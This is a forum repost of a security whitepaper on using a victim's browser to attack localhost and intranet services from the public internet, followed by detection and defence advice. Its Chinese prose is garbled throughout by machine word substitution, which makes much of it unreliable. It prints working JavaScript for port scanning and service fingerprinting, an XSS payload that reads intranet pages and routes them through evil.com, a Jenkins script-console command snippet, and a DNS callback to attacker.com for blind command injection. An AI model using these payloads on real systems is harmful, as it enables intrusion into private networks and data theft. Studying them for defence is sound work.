开启左侧

运用阅读器作为代理从公网攻击内网

[复制链接]
在线会员 jro 发表于 2023-3-11 11:16:27 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
介绍

正在 Forcepoint,咱们不竭追求改进咱们产物所供给的防备。为此,咱们经常钻研没有平常或者潜伏新奇的进犯手艺。近来的一个钻研问题是从公网倡议的针对于 localhost 战内乱网的进犯。
固然没有是新的进犯,但是正在宁静钻研社区以外,歹意 JavaScript 能够进犯内乱网其实不广为人知。正在对于该中心的无限文档中,年夜大都资本是从 inter-protol(和谈间)漏洞去描绘 [1] [2],而咱们的重心是 intra-protol(和谈内部)的漏洞。咱们发明不一站式资本从和谈内部进犯的角度来描绘这类进犯,而且正在利剑皮书籍中汇集那些手艺是为了弥补对于那些进犯文档的空缺,和让被高估的进犯里受到存眷。
因为浏览器默认能够会见 localhost 和当地局域网,因而那些进犯能够绕过潜伏的当地鉴于主机的防水墙和企业/消耗者中心防水墙。
歹意进犯者理解那些进犯,但是防卫者也需要原告 知。除描绘进犯的手艺细节以外,咱们借将会商检测战抗御进犯的办法。
可信举动:公网到局域网的跟尾

从歹意站面减载的 JavaScript 能够正在很多情况下能够跟尾用户当地计较机(localhost)或者其余内部主机上运行的效劳。现代 Web 浏览器不克不及完整阻遏使用得益者浏览器动作代办署理进犯内乱网。幻想上,咱们不但可让得益者浏览器正在内部收收恳求,并且咱们借能够发明内部主机,截至无限端心扫描,截至效劳指纹识别,最初咱们以至能够颠末歹意 JavaScript 去进犯易受进犯的效劳。
假设从公网获得的网页测验考试会见已路由的 IP 地点(比方 localhost 或者内部收集),则应将其望为可信举动。颠末咱们的远测手艺,咱们尚未发明过存留于公网上的良性网页需要跟尾到私有 IP 地点,咱们也不发明所有有用战公道的营业用例去干如许的工作。可否有须要许可公网上的网页跟尾到私有 IP 地点,而没有是正在某些边沿情况下,那是值患上疑心的。一个边沿情况可以是正在内部收集上使用大众 IP 地点的没有罕见树立。(但是必需许可差异的标的目的的情况,因为很多内部页里可以出于完整公道的启事而获得内部资本。)
这类可信举动取进犯链的各个部门共同具备某些特性,能够用于检测目标修模。咱们稍后将回到更具体的对于检测的会商,因为假设咱们先理解进犯链的手艺细节,检测便更故意义了。
正在截至威胁修模时,开辟者凡是觉得当地效劳永久没有会领受内部输出,因而凡是缺少对于那些效劳的宁静考核。可以颠末长途托管的歹意 JavaScript 进犯易受进犯的当地效劳的最新示例是 Logitech Options 使用启开易受进犯的 WebSocket效劳 器 [3]。颠末长途跨域 JavaScript中止 的当地进犯代表了一种被高估的进犯里。
共源战略没有会阻遏当地进犯吗?

理论上,共源战略(SOP)[4]正在许多情况下确实能够抗御这类进犯,但是邪如咱们瞅到的,仍然存留进犯可以胜利的情况。固然有相干文档,凡是被疏忽的幻想是共源战略其实不会阻遏浏览器收回跨域恳求,它只可阻遏 JavaScript 读与照应。(共源战略许可嵌进跨域资本,如图象战 JavaScript,但是那是另一圆里的实质。)关于进犯某些易受进犯的效劳,它可以脚以能够自发天收收歹意恳求以到达进犯者的目标。
Mozilla 的文档很佳天描绘了共源战略的功用:许可跨域嵌进战写进,但是没有许可读与。许可跨域写进的幻想使患上可以施行如下进犯:
    得益者正在互联网上浏览歹意页里。页里上的 JavaScript依据 共源战略背不该取之通信的内部效劳器收回同步恳求(XMLHttpRequest)。
    可是,浏览器将收收恳求(此时效劳器被使用)。
    浏览器支到照应但是没有会将其通报给 JavaScript。
这跨域资本同享呢?

咱们要展示的进犯取跨域资本同享(CORS) [5] 相关,只取共源战略相干。正在原利剑皮书籍中,咱们能够假定没有许可跨域资本同享恳求,那表示着咱们具有最严峻的树立,此中共源战略“阻遏”统统实质。即使面临共源战略,咱们也能够截至进犯。
进犯概括

咱们将瞅一下使用得益者的浏览器动作代办署理,内部站面上的 JavaScript 怎样进犯运行正在 localhost 或者内乱网中的易受进犯的效劳的示例。动作概括,咱们将瞅瞅如下步调:
    侦察绕过共源战略的办法:查找得益者的私有 IP 地点,查找内部主机,查找盛开端心,查找正在盛开端心上运行的效劳。
    从内部浏览内部收集的理论边沿情况是使用得益者的浏览器动作代办署理,共时共源战略生效。
    对于正在 localhost 上运行的识别的效劳截至进犯,使进犯者能够耐久会见得益者的计较机。
比年去,已经设想出差别的进犯去对立共源战略,比方 DNS 从头绑定 [6]。可是,正在原文中,咱们的重心将是正在截至侦察时和颠末跨站面恳求假造(CSRF)使用时从 JavaScript 毛病中揣度疑息。(原利剑皮书籍其实不筹算注释 CSRF 进犯的根底常识,咱们将举荐别的资本给读者,比方 OWASP [7]。)
进犯内部效劳存留一点儿先决前提:
    效劳需要驻留正在 localhost 或者内部收集上,而且可由得益者(比方当地局域网或者企业收集颠末 VPN)会见。
    需要明白端心和效劳的 IP 地点或者主机名,大概能够搞分明。
    该效劳需要易受 CSRF(可猜测的生意参数)的进犯。
    假设效劳需要身份考证,则得益者目前必需已经登录。
固然侦察部门接纳了相称遍及的手艺,但是颠末 CSRF 的进犯将针对于一定的使用法式或者装备。因而,关于不一定目标的进犯,进犯者的最好挑选是进犯一点儿经常使用的使用法式,大概野庭路由器。很多野用路由器皆有 CSRF漏洞 ,很少实时革新补钉,并且它们凡是使用已经知的固态 IP 地点 - 那些属性使它们易于定位。易受进犯的野庭路由器的例子能够正在网上找到 [8]。
潜伏的类似进犯

为繁复起睹,咱们仅论述上述进犯,但是咱们另有很多其余进犯时机,比方:
    颠末 CSRF 变动得益者路由器的办理员暗码,或者变动路由器设置。
    颠末具备和谈间漏洞的内部 SMTP 邮件效劳器收收电子邮件。(需要分外的步调去装置歹意浏览器扩大以禁用 SMTP 端心的乌名单。)
    进犯构造内乱的易受进犯的装备(比方挨印机)。
    使用按时侧通讲进犯(透露页里减载时间)截至盲跨域 SQL 注进。
    假设 TOR 浏览器设置担心齐,则许可取当地局域网通信,那可以会用于对于用户截至来藏名化。能够对于 TOR 用户的路由器截至 CSRF 进犯,使其对于某些内部主机施行 ping 操纵,进而显现大众 IP 地点。
和谈间的漏洞

值患上留神的是,因为和谈间漏洞 [9] [10] [11],进犯时机纷歧定限于 HTTP/HTTPS效劳 。因为差别的供给商偶然会以差别的方法注释 RFC,因而和谈凡是会疏忽毛病。将 HTTP 的 POST 恳求收收到差别的和谈可以会招致其余效劳疏忽它没有理解的 HTTP 头,而且只对于有用背载起感化。
除正在报告差别和谈的效劳上运行完整正当的号令以外,假设存留适宜的漏洞,则能够使用该效劳去得到尽情代码施行(比方,颠末慢存溢出)。固然现代浏览器比旧版浏览器更不易受到和谈间漏洞的作用,但是因为现代浏览器默认将其余和谈的很多罕见端心 [12] 加入乌名单,但是仍许可使用许多端心。别的,颠末歹意浏览器扩大,进犯者能够禁用所有端心的乌名单。可以受到和谈间漏洞进犯的装备的一个例子是 WIFICAM 收集摄像机 [13],它具备易受进犯的 telnet效劳 和强固态暗码(颠末浏览器绕过乌名单端心绕过去使用)。
侦察

为了使用某些工具,咱们起首需要截至侦察去找出目标上易受进犯的目标。让咱们瞅瞅怎样处置共源战略相干成就。
找到得益者的内部 IP 地点

得益者的机械将不断复兴 IP 地点 127.0.0.1,那对于咱们颇有用。除此以外,理解得益者的机械正在内乱网截至通信时使用的 IP 地点是无益的。启事是明白内部 IP 地点将许可咱们对于四周的其余主机截至更有针对于性的搜刮。
JavaScript 能够使用 WebRTC API 找出得益者的内部 IP 地点。 能够正在 Ipcalf [14] 找到对于此的观点证实。它没有合用于浏览器战争台的统统拉拢,但是那是正在 Linux上 中运行 Chrome 时的模样:
使用浏览器动作代办署理从公网进犯内乱网-1.png


图例 1: 使用 JavaScript 显现内部 IP 地点
颠末歹意 JavaScript 完毕的这类手艺可以会将相关内部 IP 地点的疑息收收给进犯者。
鉴于内乱网完毕对于其余主机的探测

正在找到盛开端心战可以易受进犯的效劳以前,咱们需要找出内乱网中存活的主机。为此,咱们交下来将对于内部 IP 地点战主机名截至探测。那关于即使非一定目标的进犯也十分有用。 请留神,正在那个阶段咱们不过推测那些 IP 地点战主机名;稍后咱们将颠末手艺考证咱们的推测可否准确。
消耗者战高端企业收集装备(如 ADSL 调造解调器战路由器)的一点儿罕见默认地点范畴是 192.168.0.0/24,192.168.1.0/24 战 192.168.8.0/24。不管是正在野庭仍是正在小型企业收集上,用户很可以位于此中一身材网中。
别的,很多高端 DHCP效劳 器默认分派从八位字节开端的 IP 地点,因而有一个有按照的推测是,咱们可以会正在地点 192.168.0.100-105 找到其余内部主机,关于上面列出的子网也是类似的。
较年夜的公司凡是使用 172.16.0.0/24 或者 10.0.0.0/24 动作子网网段,它们皆犹如此年夜的 IP 地点空间,不过推测准确的 C 段地点可以没有会有用因。关于进犯者来讲幸运的是,上面提到的使用 JavaScript地下 得益者内部 IP 地点的方法将提醒准确的 C段地点。不管地点的最初八位字节可以正在公司情况中,检察四周的八位字节关于进犯者来讲可以是一个没有错的挑选。
默认情况下,路由器凡是使用子网中最高的IP地点。比方,正在 192.168.1.0/24 子网上,路由器的 IP 地点为 192.168.1.1 是一个十分公道的假定。
别的,咱们以至没必要明白 IP 地点,咱们也能够猜出公道的主机名,比方 http://bugzilla.targetorg.com 或者 http://wiki.targetorg.com 。其余潜伏的主机名可以是比方 intranet ...,mail ...,printer ...,jenkins ...,git ...等。那些称呼将由得益者的浏览器使用目标构造的内部 DNS效劳 器剖析为 IP 地点。
查找内部主机的另外一个挑选是颠末其余方法获得相关内部效劳的谍报。正在目标进犯中最多见的是,进犯者能够颠末诸如残余箱埋伏,社会工程,得到内乱鬼的辅佐,网页疑息保守等伎俩去查找疑息。
颠末端心扫描考证主性能可存留

正在进犯阶段,咱们有一个公道的 IP 地点列表,包罗 localhost,和一点儿公道的潜伏主机名。咱们的下一步将是考证咱们的哪些推测是准确的。考证将颠末端心扫描那些主机去完毕。请记着,咱们对于主机自己没有感兴致,而是对于它们可以具有的所有盛开端心战运行效劳感兴致。
假设测验考试使用 HTTP 跟尾到那些主机,共源战略会阻遏尽情能够读与照应的 JavaScript ,因而颠末间接跟尾到一定端心去查抄它可翻开将没有起感化。
可是,仍有一种办法能够揣度出端心可否盛开。咱们能够颠末 JavaScript 测验考试从主机的端心减载图片去考证端心可否盛开。假设 onerror 或者 onload 工作触收,则端心可以是翻开的,假设超时,则端心是封闭的。
固然,那没有是真实的端心扫描器的优良替换品。它理论上只可辨别如下二种情况 [15]:
    端心翻开或者封闭并因而能够立即照应沉置数据包。
    端心封闭,测验考试的跟尾被抛弃,或者主机没有存留。
那表示着咱们可以会获得一点儿误报。标识表记标帜为盛开的端心可以是翻开的,也可以已翻开。标识表记标帜为已经封闭的端心可以已经封闭或者主机没有存留 - 不管哪一种方法,那皆没有是咱们所感兴致的。
因为浏览器默认将很多罕见的非 HTTP 端心加入乌名单,因而最幽默的扫描端心一般为一般的 HTTP 端心,比方 80,443 战 8080。别的,一点儿已屏障的端心可以颇有用,咱们偶然会找到更一定的效劳。此中一个例子可以是 631 端心上的 CUPS 挨印效劳。关于下度针对于性的进犯,咱们可以会存眷其余一点儿一定端心。
明白当地 IP 地点并颠末主机的有按照的推测,咱们能够创立一个扫描端心主机的歹意页里,类似于一点儿可用的启源东西 [16]。将嵌进端心扫描的 JavaScript 的 HTML 文献搁正在其余域上,正在一般情况下,那将是一个大众效劳器。
咱们的 HTML 瞅起去像如许(简介起睹仅显现部门代码段):
<html>            <head>                <script src="check_open_ports.js" type="text/javascript"></script>            </head>            <body onload="portscan()">                <table>                    <tr>                        <th>host:port</th>                        <th>status</th>                    </tr>                    <tr>                        <td id="host1name">127.0.0.1:80</td>                        <td id="host1result">?</td>                    </tr>                [snip]                    <tr>                        <td id="host12name">intranet.targetorg.com:80</td>                        <td id="host12result">?</td>                    </tr>                </table>            </body>        </html>JavaScript 文献 checkopenports.js 瞅起去是如许的:
function scan(resultElem,hostport,serviceName,uriPath) {             var image = new Image();            image.onerror = function() {                 if (!image) {                    return;                }                image = undefined;                if (resultElem.textContext == '?'){                     resultElem.textContent = serviceName + "open";                }            };            image.onload = image.onerror;        if (hostport.split(":")[1] == 443) {            image.src = 'https://' + hostport + uriPath;        } else {            image.src = 'http://' + hostport + uriPath;        }        setTimeout(function(){             if (!image) {                return;            }            image = undefined;            if (resultElem.textContext == '?') {                 resultElem.textContent = serviceName + "closed";            }          },2000);        }        function portscan() {             var i = 1;            hostport = document.getElementById("host" + i + "name").textContent;             while (hostport) {                resultElem = document.getElementById("host" + i + "result");                 scan(resultElem,hostport,"","");                i++;                hostport = document.getElementById("host" + i + "name").textContent;            }        }当得益者会见那个页里是,咱们将得到:
使用浏览器动作代办署理从公网进犯内乱网-2.png


图例 2: 使用 JavaScript 端心扫描的成果
targetorg.com 域存留于咱们的尝试室收集中,颠末得益者的浏览器使用目标的内部 DNS效劳 器去完毕关于那些称呼的 DNS 盘问。关于进犯其余构造,咱们能够将 “targetorg.com”交流 为适宜的域名,不然咱们能够测验考试比方 'printer',不所有域名,让得益者的 DNS 剖析器主动增加准确的域名。
咱们能够轻快天改正观点考证(PoC)以将成果发还给咱们(没有展示此代码),咱们能够对于成果截至一点儿阐发。咱们现在明白主机 wiki.targetorg.com 没有太有效,因为它的 HTTP 端心已经封闭或者主机没有存留。标志 为盛开的端心可以很幽默,因而咱们能够关于那些端心干指纹识别,指导咱们加入下一阶段的进犯......
留神:值患上一提的资本是 LocalNetworkScanner 名目。它获得当地 IP 地点,而后颠末端心扫描当地和四周的 C 段的地点。该名目的源代码正在 Github [17] 上,另有一个及时版原 [18]。关于某些浏览器,它能够准确天找到很多内部主机,可是差别的浏览器会有所差别。
使用默认文献查找正在盛开端心上运行的效劳

此时咱们有一个略微紧缩的(可以)盛开端心列表,因为咱们能够从咱们一开端推测的主机/端心列表中简略一部门。咱们的下一步是找出正在那些端心上运行的效劳。
共源战略让咱们再一次变患上自发,可是找出端心前面运行的效劳能够颠末使用类似于咱们截至端心扫描的手艺去完毕。一个分外的区分将是测验考试找到一定的图象文献。假设 onload 工作触收,咱们明白效劳器上存留一定的图片文献(固然咱们的 JavaScript 没法会见它)。差异,假设触收了 onerror 工作,则所寻找的图象没有存留。因而,即使因为共源战略 JavaScript 没法读与页里,它仍然能够肯定差别。
关于指纹识别,让咱们使用咱们现在所把握的去肯定一定图象可否存留。差别的 Web 使用法式凡是具备自己的一组默认文献。比方,假设文献 http//xx.xx.xx.xx/images/jenkins.png 存留,则相干效劳可以是 Jenkins 建立效劳器。
异常,正在 Web 根目次中找到名为 /images/cups-postscript-chain.png 的文献,表白咱们可以在处置 CUPS 挨印效劳。颠末取以前差异的揣度,咱们能够查抄某个长途效劳器上可否存留一定文献。
施行此指纹识别时,咱们期望关于差别的 Web 使用法式中具有一个尽可以年夜的默认文献列表,因为咱们具有的列表越年夜,指纹识别便越胜利。正在互联网上,咱们可以会找到现成的默认文献列表,以就正在截至指纹识别时查找 [19] [20]。
正在上一节中,咱们考证了哪些推测的主机确实存留。出于指纹识别的目标,让咱们使用取从前差异的 HTML/JavaScript,可是以二种方法改正它:
    移除已经知的封闭端心。
    关于一点儿已经知的效劳的查抄其默认的文献。
略微改正 scan() 函数进而辨别 onload 战 onerror:
image.onerror = function() {             if (!image) {                return;            }            image = undefined;            // Make sure we don't overwrite the service if some other check            // already found out what the service is.            if (resultElem.textContent == '?') {                resultElem.textContent = "-";            }        };        image.onload = function()             { if (!image) {                return;            }            image = undefined;             resultElem.textContent = serviceName;        };咱们的 JavaScript 中的 portscan() 函数会对于差别运行的效劳干尝试:
scan(resultElem,hostport,'apache','/icons/apache_pb.png');        scan(resultElem,hostport,'cups','/images/cups-postscript-chain.png');         scan(resultElem,hostport,'lexmark printer','/images/lexlogo.gif');         scan(resultElem,hostport,'cisco router','/themes/img/speciel/ciscobg.jpg');         scan(resultElem,hostport,'seagate','/assets/img/Logo_Seagate_White.png');         scan(resultElem,hostport,'jenkins','/images/jenkins.png');当得益者会见咱们的歹意页里时,成果是:
使用浏览器动作代办署理从公网进犯内乱网-3.png


图例 3: 当地和当地局域网上效劳的指纹
再一次,成果将被收收给进犯者。主机 printer.targetorg.com 战 192.168.1.102可以 是统一台主机,因为按照指纹识别它们仿佛皆是 Lexmark 挨印机。intranet.targetorg.com 战 192.168.1.100可以 也是统一个主机。
留神:胜利的效劳指纹识别是端心确实盛开的终极考证。关于端心 127.0.0.1:80,咱们仍然谬误定端心可否已经封闭,大概它可否已经翻开但是效劳指纹识别失利。关于主机 192.168.1.103,咱们仍然谬误定它可否存留。关于指纹识别胜利的端心,咱们十分坚信端心确实是盛开的,咱们明白它们运行正在端心上的效劳。
现在,让咱们进后一步,瞅瞅到今朝为行咱们获得了这些。面临共源战略,咱们已经胜利从公网颠末指纹识别出内乱网上九台主机上运行的效劳,包罗 localhost。那是咱们进犯侦察部门的归纳。
留神:出于讲授目标,咱们正在施行侦察时使用了多个歹意网页。正在实践中,真实的进犯者可以准备一个能正在页里中施行统统那些步调的歹意网页,只要供得益者单打便可。
颠末 XSS 浏览内部收集并变动页里源(origin)

到今朝为行,咱们已经会商过共源战略怎样只许可咱们收收恳求,而不克不及读与照应。动作一个绕过步调,让咱们瞅瞅一个边沿情况,即使正在共源战略完整生效的情况下,咱们也能够读与照应 - 也即是道,缺少跨域资本同享能够削减共源战略施减的限定。读与照应的才气根本上许可咱们使用得益者的浏览器动作代办署理从内部浏览得益者的内部收集。
共源战略没有会阻遏从统一个源的读与页里,而且页里可以会变动其自己的源,以即可以取子域 [21]中止 通信。比方,假设 http://targetorg.com 已经设置为能够取 http://intranet.targetorg.com 通信,那末假设咱们能够正在 targetorg.com 上运行 JavaScript 代码,咱们能够像进犯者一致。 http://targetorg.com 上的跨站剧本(XSS)漏洞可以许可那个场景。
正在用于咱们树立的尝试室情况中,咱们将 targetorg.com 的 DNS 指背大众 IP 地点,因而,它可供进犯者(即咱们)截至尝试。进犯者正在 http://targetorg.com 网站上发明了一个 XSS漏洞 :
使用浏览器动作代办署理从公网进犯内乱网-4.png


图例 4: http://targetorg.com 上的 XSS
HTML 的源代码为:
<html>        <head>        <title>Public web page for Targetorg</title>        <script>        document.domain = "targetorg.com";        </script>'document.domain' 的界说很幽默。让咱们背 intranet.targetorg.com 网站注进一点儿能够浏览咱们正在侦察阶段发明的目标的 JavaScript。让咱们注进如下 JavaScript:
var iframe = document.createElement('iframe');         iframe.src = 'http://intranet.targetorg.com';         iframe.onload = function(e) {            alert('Sending contents of intranet.targetorg.com to attacker: ' + iframe.contentWindow.document.documentElement.outerHTML);        };        document.body.appendChild(iframe);正在咱们的公网歹意效劳器 evil.com 上,咱们将使用上面的注进代码创立一个减载 http://targetorg.com 的 iframe。成果是 http://evil.com 的网页将有二个嵌套的 iframe:一个显现 http://targetorg.com,另一个 iframe 显现 http://intranet.targetorg 。因而,咱们正在 http://evil.com/malicious.html 网页中安排的 JavaScript 是:
var theiframe = document.createElement('iframe');         theiframe.src =        'http://targetorg.com/?inject=var%20iframe%20%3d%20document.createElement(%27 iframe%27);%20iframe.src%20%3d%20%27http://intranet.targetorg.com%27;%20iframe.onload%20%3d%20function(e)%20%7b%20alert(%27Sending%20contents%20of%20intra net.targetorg.com%20to%20attacker:%20%27%20+%20iframe.contentWindow.document. documentElement.outerHTML);%20%7d;%20document.body.appendChild(iframe);';         document.body.appendChild(theiframe);当得益者浏览咱们的歹意 URL,成果是:
使用浏览器动作代办署理从公网进犯内乱网-5.png


图例 5: 颠末公网效劳器上的 JavaScript 浏览得益者的内乱网。
图例 5 中的截图显现 JavaScript确实 能够会见内乱网的实质,而不但仅是正在 iframe中 显现它。因而,它也能够将其收收给进犯者。内部 iframe 能够正在 targetorg.com 的共源内乱运行,而且能够会见去自 intranet.targetorg.com 的内部 iframe 的数据。 从素质上道,那许可咱们浏览得益者的内乱网,检察他们的内乱网网页。
留神:进犯生效的前提之一是 targetorg.com 战 intranet.target.org 页里皆界说了 'document.domain = "targetorg.com"',便共源战略而行,它们位于差异源。
另外一种可以的进犯情况可以是得益者正在 passwords.targetorg.com 上有一个暗码效劳器。而后,假设得益者正在登录到暗码效劳器时浏览咱们的歹意 HTML/JavaScript 页里,咱们可以能够读与暗码。
进犯当地运行的 Jenkins

正在展示怎样颠末绕过步调浏览 targetorg.com 的内乱网时,让咱们回到颠末公网进犯内乱网效劳的任务中。
用咱们的 Jenkins 真例干尝试

从咱们以前干过的侦察中,咱们有能够大白揣度出有一个 Jenkins 真例运行正在 http://127.0.0.1:8080 。动作进犯者,咱们能够树立咱们自己的 Jenkins 真例并截至一点儿尝试以准备进犯。Jenkins 有一个可用于施行剧本以至操纵体系号令剧本掌握台:
使用浏览器动作代办署理从公网进犯内乱网-6.png


图例 6: Jenkins 剧本掌握台
关于施行操纵体系号令,咱们能够正在剧本掌握台中输出如下实质并面打运行 [22]:
def sout = new StringBuffer(), serr = new StringBuffer()         def proc = '<SOME_COMMAND>'.execute()        proc.consumeProcessOutput(sout, serr)         proc.waitForOrKill(1000)        println "out> $sout err> $serr"挑选进犯方法

动作进犯者,咱们能够制作提接上述表单的歹意 JavaScript。留神因为共源战略的限定,此 JavaScript 将没法读与照应。可是,体系号令仍将施行,那脚以进犯效劳。稍后,咱们将钻研怎样正在没法读与照应的情况下考证号令的施行。  按照设置,会见剧本掌握台可以需要也可以没有需要身份考证。即使需要身份考证,咱们仍然能够颠末 CSRF拜访 剧本掌握台,只要用户目前登录到 Jenkins 便可。启事是浏览器会正在咱们的恳求中增加所有身份考证 cookie(假设咱们树立 'request.withCredentials = true;') - 进犯者没有需要明白它们。主要的是 Jenkins 可否设置了 CSRF维护 。
凡是,人们会测验考试宁静天设置对于中盛开的效劳器,但是常常无视内部效劳器的宁静性。关于当地效劳而行,这类疏忽凡是更加清楚,鉴于主机的防水墙(出缺陷的)阻遏会见是有来由的。因而,颇有可以找到不截至宁静设置的 Jenkins 真例。思考到那一面,假定 Jenkins 真例已设置 CSRF维护 ,让咱们准备一次进犯。
留神:咱们没有会公布所有 Jenkins 整日漏洞,咱们使用的担心齐设置是一个已经知成就(正在非默认设置中)[23]。咱们原能够挑选所有漏洞,但是决定使用 Jenkins 动作分析性示例。
颠末 DNS 考证号令盲注手艺

简单起睹,为了不正在得益者上遗留成立耐久化跟尾的细节,让咱们考证注进的号令可否理论运行。一个凡是可否考证盲注情况中号令的施行情况的简朴的办法是让得益者背进犯者掌握的 DNS效劳 器收回 DNS 恳求。正在咱们的树立中,咱们能够掌握 attacker.com 域的 DNS效劳 器。因而,让咱们将如下号令注进 Jenkins 剧本掌握台: host abc123.attacker.com。 颠末检察 DNS 盘问日记,咱们能够简朴天从目标收集内部的职位考证体系号令理论运行情况。
留神:此考证没有依靠于得益者能够间接会见 attacker.com 域的 DNS效劳 器。差异,会发作这类情况:当得益者运行 JavaScript 时,Jenkins 将运行体系号令,那将招致 DNS 盘问被收收到得益者的内部 DNS效劳 器,后者将转收它,并终极收收给 attacker.com 域的声威 DNS效劳 器。(根本上,阻遏这类情况的唯一办法是完整阻遏 DNS 盘问,那是很易完毕的。)
施行进犯并截至考证

咱们进犯 Jenkins 的歹意 HTML/JavaScrip 会是如许:
当得益者浏览咱们的歹意页里(请记着页里存留于公网而没有是内乱网上)时,咱们能够正在 DNS 日记中瞅到 attacker.com 域:
瞅到那一条 DNS记载 证实咱们的号令注进已经胜利总得益者机械上施行!
留神:正在实践中,真实的进犯者可以甘愿施行一点儿号令去获得并运行一点儿代码,那些代码正在得益者战进犯者之间成立号令战掌握(C2)通讲。 可是,便原利剑皮书籍而行,咱们仅限于证实号令注进。
扼要的进犯链阐发

回过甚从全部角度去瞅,咱们发明咱们能够正在面临共源战略的情况下,正在公网找到并进犯正在内乱网上运行的易受进犯的效劳。颠末使用得益者的浏览器动作代办署理,咱们能够正在此过程当中完整绕过企业防水墙战鉴于主机的防水墙。
别的,这次进犯并无使用代码中的漏洞。进犯的每步皆依靠于按预期事情的工作(除咱们正在 Jenkins 中的成心设置成就招致它有 CSRF漏洞 )。那反过去表示着即使将防水墙,浏览器战 Jenkins 革新到最新版原将没法抵抗进犯。(对于咱们的示例进犯的恰当庇护是对于 Jenkins中止 更宁静的树立。)
怎样“浏览”内乱网的示范确实依靠于 XSS漏洞 ,但是那取进犯 Jenkins 相关。  从防备的角度去瞅,一个佳消息是是,关于真实的进犯者,对于一定目标截至真实的进犯,年夜大都(但是没有是局部)进犯有用载荷将会失利,启事有二个:
    因为共源战略进犯者理论上是自发的,因而他只能以对于得益者内乱网截至大抵天揣度。因为看来度很高,除咱们展示怎样浏览内乱网的边沿情况中,很易胜利截至进犯。
    因为不克不及依靠得益者短工妇停止正在歹意页里上,因而进犯者很易按照可以揣度出的内部收集疑息去调解进犯。如前所述,进犯者偶然使用成人才料诱使得益者正在页里上停止充足少的时间。)
为了处置那二个成就,增加进犯胜利的可以性,进犯者能够共时对于大批效劳截至通用进犯(而没有是像咱们这样只进犯 Jenkins)。进犯者可以延迟准备一个包罗 JavaScript 的歹意网页,用于对于内乱网中罕见的各类效劳截至大批差别范例的进犯,比方开辟职员事情站上的 Jenkins,多个差别路由器的漏洞等等。固然年夜大都进犯城市失利,但是假设有充足多的得益者,一点儿进犯会胜利,从进犯者的角度去瞅,那可以已经充足佳了。
当地可信举动的检测暗示当地进犯

对于那些进犯施行检测/庇护的最有用之处可以是浏览器自己。因为浏览器不克不及完整庇护咱们,而且因为只需浏览器供给商能够掌握浏览器功用门路图,因而咱们来讲的别的的下一个最好挑选可以是颠末能够标准化/反混合歹意代码并检测战避免那些进犯的 Web 代办署理去浏览网页。
假设不能够庇护咱们的 Web 代办署理(或者更宁静的浏览器默认值),咱们该当最少能够检测到那些进犯。宁静界的一句话道“防备是幻想的,但是检测是必需的”。那异常合用于咱们会商过的当地进犯。
出于检测目标,最年夜的危急旌旗灯号是内部托管的 JavaScript/网页测验考试跟尾私有 IP 地点。咱们能够使用收集流质阐发手艺去检测这类可信举动,固然这类办法也会呈现一点儿误报。
让咱们简朴的开端,而后改良咱们的检测。一个初初的而且相称简朴的模子能够用于检测内部托管的 JavaScript 进犯内部效劳器的情况,而内部效劳器又挪用 C2 的主页,可以是:
    制作一个触收器,假设如下工作正在多少分钟之内以相称快的速率持续发作,并按此挨次:事情站 W 跟尾到大众站面 P1,而后 W 取内部效劳器 S 通信,而后 S 取公网中的 P2 通信,则触收器会发生告警。
    假设满意如下所有前提,则可信水平退一步提拔:P1 战 P2 是差异的主机,P1 战 P2 没有正在 Alexa 前一百万网站中 [24],P1 或者 P2 使用免费托管站面,P1 或者 P2使 用静态 DNS。
请留神,与决于收集根底构造,内部事情站(上面的 W)战某个内部效劳器(上面的 S)之间的通信纷歧定要颠末防水墙,从内部事情站到 localhost 的跟尾底子没有会发生收集流质。因而,假设构造具备 SIEM(宁静疑息取工作办理)或者类似的集合式日记办理处置计划,则最佳正在 SIEM 中查找那些可信举动,而没有是仅正在防水墙中查找。正在 SIEM 中完毕此请求需要收收到 SIEM 的日记包罗相关跟尾的充足具体疑息。
因为存留误报的危急,只是上述工作链的检测可以没有值患上主动阻遏/告警。可是,战其余目标共同,它可以会超越可否阻遏的阈值。为了进步检测精确性,咱们可以会将进犯链的其余部门增加到咱们的检测划定规矩中:
    事情站正在自己的域倡议大批 DNS 恳求(年夜大都查找失利)以后取内部 web效劳 器跟尾可以暗示歹意 JavaScript 试图正在内乱网中查找主机。
    背内乱网大批差别主机的收回跟尾(关于某些罕见的 HTTP 端心,如 80, 443, 8080)以后取内部 web效劳 器的跟尾可以暗示歹意 JavaScript 正在截至端心扫描。
    正在内乱网收收大批照应为 HTTP/404 的 HTTP 恳求以后取内部 web效劳 器的跟尾可以暗示歹意 JavaScript 对于盛开端心上的效劳干指纹识别。
假设没有限定仅截至收集流质阐发,关于检测有更多选项。比方,末端代办署理能够潜伏天背收集宁静装备(比方防水墙)供给对于哪一个网页天生一定恳求的疑息,极地面增强收集宁静装备的决议计划才气。
防备

您自己怎样防备当地进犯呢?不能够完毕完整防备的银弹,可是您能够从一点儿小事去低落您面对的进犯里。
关于差别脚色人群的防备倡议

关于典范的野庭用户, 您主要干一件最主要的工作是为您的野庭路由器装置所有新的补钉。别的,您可以需要思考将路由器的 IP 地点变动为默认值之外的其余地点(一般是 192.168.0.1 或者 192.168.1.1)。一般皆要警惕灰色网站。尽人皆知,进犯者会将歹意网页上的成人才料动作诱饵 [25]。正在当地进犯的情况下,成人才料可以会诱使得益者留正在网站上充足少的时间以使进犯者对于内部收集截至进犯。
关于开辟者, 您能够干的最主要的工作是保证您的硬件能够抵抗 CSRF 进犯。 能够正在收集上 [26] 上找到完毕 CSRF庇护 的初学指北。别的,开辟职员凡是需要运行一般用户没有需要的各类效劳,比方数据库,Jenkins 等。保证那些效劳不容易受到 CSRF攻 打,而且凡是宁静天设置它们。(那些效劳的宁静设置可以比装置最新补钉更主要。正在作家的渗透尝试经历中,因为设置担心齐而招致体系瓦解,相对缺少补钉来讲更罕见。)
关于收集办理员,IT 产物司理战开辟职员需要观点到,鉴于主机的防水墙战中心防水墙皆不敷以完整阻遏长途使用。以至正在 localhost 或者内乱网中运行的效劳也可以蒙受颠末从公网减载的歹意 JavaScript 的进犯,因而必需充实庇护那些效劳。出格是,效劳需要抵抗 CSRF 进犯。别的,正在截至威胁修模时,应思考到当地/内部效劳可以也能够领受内部歹意输出。
关于企业用户, 值患上使用能够检测和阻断那些当地进犯的收集代办署理去上彀。
出于宁静钻研的目标,偶然可以需要成心会见灰色的网站,比方歹意硬件网站,公开立功服装论坛t.vhao.net等。正在会见此类网站时,倡议使用假造机。
